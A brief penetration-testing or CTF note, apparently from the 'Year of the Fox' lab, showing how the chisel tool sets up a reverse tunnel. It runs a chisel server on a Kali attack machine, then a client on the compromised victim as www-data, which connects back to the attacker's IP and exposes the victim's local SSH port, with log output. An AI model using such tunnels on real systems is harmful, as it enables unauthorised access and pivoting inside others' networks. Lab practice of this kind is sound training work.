Chisel on GitHub: https://github.com/jpillora/chisel
Chisel is written in Go.
Start chisel server on kali attack machine
root@X220:~# ./chisel server -p 8000 --reverse 2021/04/14 18:45:55 server: Reverse tunnelling enabled 2021/04/14 18:45:55 server: Fingerprint KL0WyhmdH+DdiSiBnHkqRFZ9AC7azAWqL+NBQ1pAmdM= 2021/04/14 18:45:55 server: Listening on http://0.0.0.0:8000
Run chisel client on victim machine to connect and create tunnel on port 22
www-data@year-of-the-fox:/tmp$ ./chisel client 10.8.146.172:8000 R:22:127.0.0.1:22 <./chisel client 10.8.146.172:8000 R:22:127.0.0.1:22 2021/04/14 12:51:33 client: Connecting to ws://10.8.146.172:8000 2021/04/14 12:51:35 client: Connected (Latency 228.164693ms)